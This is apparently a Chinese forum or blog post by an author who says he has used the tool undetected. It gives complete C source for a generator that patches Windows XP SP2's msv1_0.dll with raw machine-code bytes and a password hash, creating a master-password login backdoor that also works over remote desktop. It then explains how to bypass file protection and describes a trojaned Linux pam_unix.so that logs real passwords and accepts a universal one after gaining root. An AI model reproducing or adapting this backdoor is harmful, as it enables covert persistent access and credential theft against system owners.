其实这些东西我很早就做出来用了,而且效果还不错,目前没有一个管理员发现。
  以下程序只在winxpsp2中文版上测试
  

 
  
  1. #include   
  2.   #include   
  3.   #include "windows.h"   
  4.   #include "wincrypt.h"   
  5.   wchar_t passwd[1024];   
  6.   char path[1024], hash[16];   
  7.   const int os1 = 0x8DB0, os2 = 0x1C3A7, ospasswd = 0x1C397;   
  8.   const char chunk1[] = {   
  9.   0xE8, 0xF2, 0x35, 0x01, 0x00, 0x90   
  10.   };   
  11.   const char chunk2[] = {   
  12.   0x55, 0x8B, 0xEC, 0x6A, 0x10, 0xFF, 0x75, 0x0C,   
  13.   0x68, 0x97, 0xCF, 0xC5, 0x77, 0xFF, 0x15, 0xCC,   
  14.   0x10, 0xC4, 0x77, 0xC9, 0x83, 0xF8, 0x10, 0x75,   
  15.   0x03, 0xC2, 0x00, 0x00, 0xFF, 0x25, 0xCC, 0x10,   
  16.   0xC4, 0x77   
  17.   };   
  18.   void err(char *msg) {   
  19.   printf("error: %s\n", msg);   
  20.   exit(1);   
  21.   }   
  22.   int main(int argc, char *argv[]) {   
  23.   HCRYPTPROV hProv;   
  24.   HCRYPTHASH hHash;   
  25.   unsigned len, sint = sizeof(int);   
  26.   FILE *fout;   
  27.   if (argc != 2) {   
  28.   printf("msv1_0.dll password backdoor generator by cly\n"   
  29.   "Usage:\n%s password\nOnly for winxp sp2\n", argv[0]);   
  30.   exit(1);   
  31.   }   
  32.   len = strlen(argv[1]);   
  33.   if (len >512)   
  34.   err("the password is too long");   
  35.   len = MultiByteToWideChar(CP_ACP, 0, argv[1], len, passwd, 1024);   
  36.   if(!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, 0))   
  37.   if (!CryptAcquireContext(&hProv, NULL, MS_DEF_PROV,   
  38.   PROV_RSA_FULL,   
  39.   CRYPT_NEWKEYSET))   
  40.   err("CryptAcquireContext");   
  41.   if (!CryptCreateHash(hProv, CALG_MD4, 0, 0, &hHash))   
  42.   err("CryptCreateHash");   
  43.   if (!CryptHashData(hHash, passwd, len * sizeof(wchar_t), 0))   
  44.   err("CryptHashData");   
  45.   CryptGetHashParam(hHash, HP_HASHSIZE, &len, &sint, 0);   
  46.   if (len != 16)   
  47.   err("CryptGetHashParam");   
  48.   CryptGetHashParam(hHash, HP_HASHVAL, hash, &len, 0);   
  49.   if (hHash)   
  50.   CryptDestroyHash(hHash);   
  51.   if (hProv)   
  52.   CryptReleaseContext(hProv, 0);   
  53.   if (strlen(getenv("windir")) >512)   
  54.   err("Are you kidding?");   
  55.   sprintf(path, "%s\\system32\\msv1_0.dll", getenv("windir"));   
  56.   if (!CopyFileA(path, "msv1_0.dll.cly", 0))   
  57.   err("CopyFileA");   
  58.   fout = fopen("msv1_0.dll.cly""rb+");   
  59.   if (fout == NULL)   
  60.   err("fopen");   
  61.   fseek(fout, os1, SEEK_SET);   
  62.   fwrite(chunk1, sizeof(chunk1), 1, fout);   
  63.   fseek(fout, os2, SEEK_SET);   
  64.   fwrite(chunk2, sizeof(chunk2), 1, fout);   
  65.   fseek(fout, ospasswd, SEEK_SET);   
  66.   fwrite(hash, sizeof(hash), 1, fout);   
  67.   fclose(fout);   
  68.   return 0;   
  69.   }  


  运行这个程序把得到的msv1_0.dll.cly复制到c:\windows\system32\msv1_0.dll(自己想办法绕过WFP),所
  有的用户就可以用你设置的密码来登陆了,远程桌面也是可以的。
  这里只是提供一种思路,其他的版本比如win2k3应该而是可以这样搞的。
  其实我最开始是看到网上一片文章,不过他是空口令可以登陆,而我这是自己设置的口令可以登陆。
  Linux下就更简单了,直接编译一个自己的pam_unix.so上去就可以了。
  这个pam_unix.so可以记录正确的密码,也可以做和上面一样的通用密码后门。
  我是这样搞的,先判断密码对错,如果对了则记录并放行,否则判断是否为我设置的通用密码,如果是就放行,其他的验证失败。
  这样我local root成功后,放这样一个后门,管理员还真是难查出来。
  写出来只为博高手一笑。